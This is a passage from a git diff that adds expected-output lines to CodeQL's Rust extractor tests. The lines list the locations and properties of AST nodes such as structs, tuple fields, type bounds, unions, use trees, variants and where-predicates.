b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected @@ -1 +1 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | gen_stmt_list.rs:5:5:5:11 | MacroExpr | +| gen_stmt_list.rs:3:27:12:1 | StmtList | gen_stmt_list.rs:7:5:10:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected index e69de29bb2d..63c314de869 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasFieldList: | yes | hasGenericParamList: | no | hasName: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected index e69de29bb2d..b2233206f64 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:18:8:5 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected index e69de29bb2d..6912576e6fb 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:12:5:16 | Point | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected index e69de29bb2d..16e48f1e4f9 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected @@ -0,0 +1 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | getNumberOfAttrs: | 0 | getNumberOfFields: | 2 | hasSpread: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected index e69de29bb2d..a9e8edc6aae 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 0 | gen_struct_expr_field_list.rs:7:11:7:14 | a: 1 | +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 1 | gen_struct_expr_field_list.rs:7:17:7:20 | b: 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected index e69de29bb2d..52a70f01feb 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | getNumberOfAttrs: | 0 | hasDefault: | no | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected index e69de29bb2d..1b66b3a883b 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:16:7:16 | x | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected index e69de29bb2d..ad77aac4601 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:19:7:21 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected index e69de29bb2d..f07a535897f 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected @@ -0,0 +1 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected index e69de29bb2d..cd2ac33b4c9 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 0 | gen_struct_field_list.rs:7:16:7:21 | StructField | +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 1 | gen_struct_field_list.rs:7:24:7:29 | StructField | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected index e69de29bb2d..a52d73ab6c8 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected @@ -0,0 +1 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | getNumberOfFields: | 2 | hasRestPat: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected index e69de29bb2d..c2d445a5a3f 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 0 | gen_struct_pat_field_list.rs:7:15:7:15 | ... | +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 1 | gen_struct_pat_field_list.rs:7:18:7:18 | ... | diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected index b13382221bb..f349b236ed7 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected @@ -1 +1,3 @@ -| gen_token_tree.rs:5:10:5:11 | TokenTree | +| gen_token_tree.rs:7:13:7:40 | TokenTree | +| gen_token_tree.rs:7:14:7:39 | TokenTree | +| gen_token_tree.rs:9:22:9:49 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected index e69de29bb2d..0a5b69dcd5e 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasTypeBoundList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected index e69de29bb2d..e0aae353801 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:11:7:13 | Foo | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected index e69de29bb2d..797921bf4dd 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:17:7:25 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected index e69de29bb2d..214ca5597ec 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected index e69de29bb2d..fb0c8042969 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | gen_try_expr.rs:7:13:7:17 | foo(...) | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected index e69de29bb2d..4c658836ad9 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | +| gen_tuple_field.rs:7:19:7:24 | TupleField | getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected index e69de29bb2d..31c4849e7a3 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | gen_tuple_field.rs:7:14:7:16 | i32 | +| gen_tuple_field.rs:7:19:7:24 | TupleField | gen_tuple_field.rs:7:19:7:24 | String | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected index e69de29bb2d..5101ab7bf19 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected @@ -0,0 +1 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected index e69de29bb2d..77b15f1aa42 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 0 | gen_tuple_field_list.rs:7:14:7:16 | TupleField | +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 1 | gen_tuple_field_list.rs:7:19:7:24 | TupleField | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected index a35fda17581..f3dcaadb7a2 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected @@ -1 +1,2 @@ | gen_tuple_type_repr.rs:3:30:3:31 | TupleTypeRepr | getNumberOfFields: | 0 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected index e69de29bb2d..c4d5db977c5 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 0 | gen_tuple_type_repr.rs:7:13:7:15 | i32 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 1 | gen_tuple_type_repr.rs:7:18:7:23 | String | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected index e69de29bb2d..d81b48448fa 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected index e69de29bb2d..f1bb3e460e1 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | gen_type_arg.rs:7:11:7:13 | u32 | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected index e69de29bb2d..40e38f919ce 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | isAsync: | no | isConst: | no | hasLifetime: | no | hasTypeRepr: | yes | hasUseBoundGenericArgs: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected index e69de29bb2d..7d9cf96f2ad 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | gen_type_bound.rs:7:15:7:19 | Debug | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected index e69de29bb2d..3044718de47 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected @@ -0,0 +1 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | getNumberOfBounds: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected index e69de29bb2d..7106e5ae664 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected @@ -0,0 +1,2 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 0 | gen_type_bound_list.rs:7:15:7:19 | TypeBound | +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 1 | gen_type_bound_list.rs:7:23:7:27 | TypeBound | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected index e69de29bb2d..1ba76dc60d3 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | getNumberOfAttrs: | 0 | hasDefaultType: | no | hasName: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected index e69de29bb2d..a51942c95c2 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | gen_type_param.rs:7:12:7:12 | T | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.expected b/rust/ql/test/extractor-tests/generated/Union/Union.expected index e69de29bb2d..bc0b9974b40 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasStructFieldList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected index e69de29bb2d..02b0d8ebc8c 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:11:7:11 | U | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected index e69de29bb2d..3613a0fcb38 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:13:7:32 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Use/Use.expected b/rust/ql/test/extractor-tests/generated/Use/Use.expected index e69de29bb2d..e016b067371 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasUseTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected index e69de29bb2d..81b2c2c8ad3 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | gen_use.rs:5:9:5:33 | ...::HashMap | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected new file mode 100644 index 00000000000..3ea69e78251 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected @@ -0,0 +1 @@ +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | getNumberOfUseBoundGenericArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected new file mode 100644 index 00000000000..9cae2694f99 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected @@ -0,0 +1,3 @@ +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 0 | gen_use_bound_generic_args.rs:7:63:7:64 | 'a | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 1 | gen_use_bound_generic_args.rs:7:67:7:67 | T | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 2 | gen_use_bound_generic_args.rs:7:70:7:70 | N | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected index e69de29bb2d..1d1bbfd4e14 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected @@ -0,0 +1 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | getNumberOfUseTrees: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected index e69de29bb2d..1bfef2daee1 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected @@ -0,0 +1,2 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 0 | gen_use_tree_list.rs:7:15:7:16 | fs | +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 1 | gen_use_tree_list.rs:7:19:7:20 | io | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected index e69de29bb2d..cca0757d458 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | no | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:17:7:22 | B | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:25:7:36 | C | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected index e69de29bb2d..9461de62cc6 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected @@ -0,0 +1,2 @@ +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:18:7:22 | TupleFieldList | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:27:7:36 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected index e69de29bb2d..87faede2aad 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | gen_variant.rs:7:14:7:14 | A | +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:17:7:17 | B | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:25:7:25 | C | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected index e69de29bb2d..b7b25116f58 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected @@ -0,0 +1 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | getNumberOfVariants: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected index e69de29bb2d..c62dfe00472 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected @@ -0,0 +1,3 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | 0 | gen_variant_list.rs:7:14:7:14 | A | +| gen_variant_list.rs:7:12:7:22 | VariantList | 1 | gen_variant_list.rs:7:17:7:17 | B | +| gen_variant_list.rs:7:12:7:22 | VariantList | 2 | gen_variant_list.rs:7:20:7:20 | C | diff --git a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected index e69de29bb2d..ce221742c76 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected +++ b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected @@ -0,0 +1 @@ +| gen_visibility.rs:7:5:7:7 | Visibility | hasPath: | no | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected index e69de29bb2d..4610fc7dea1 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | getNumberOfPredicates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected index e69de29bb2d..b8fcba86a6a 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | 0 | gen_where_clause.rs:7:27:7:34 | WherePred | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected index e69de29bb2d..d2988eb245d 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | +| gen_where_pred.rs:7:46:7:53 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected index e69de29bb2d..2b3b7d1172a 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:39:7:43 | TypeBoundList | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:49:7:53 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected index e69de29bb2d..92c8489eda0 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:36:7:36 | T | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:46:7:46 | U | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected index e69de29bb2d..547e3e0ad2e 100644 --- 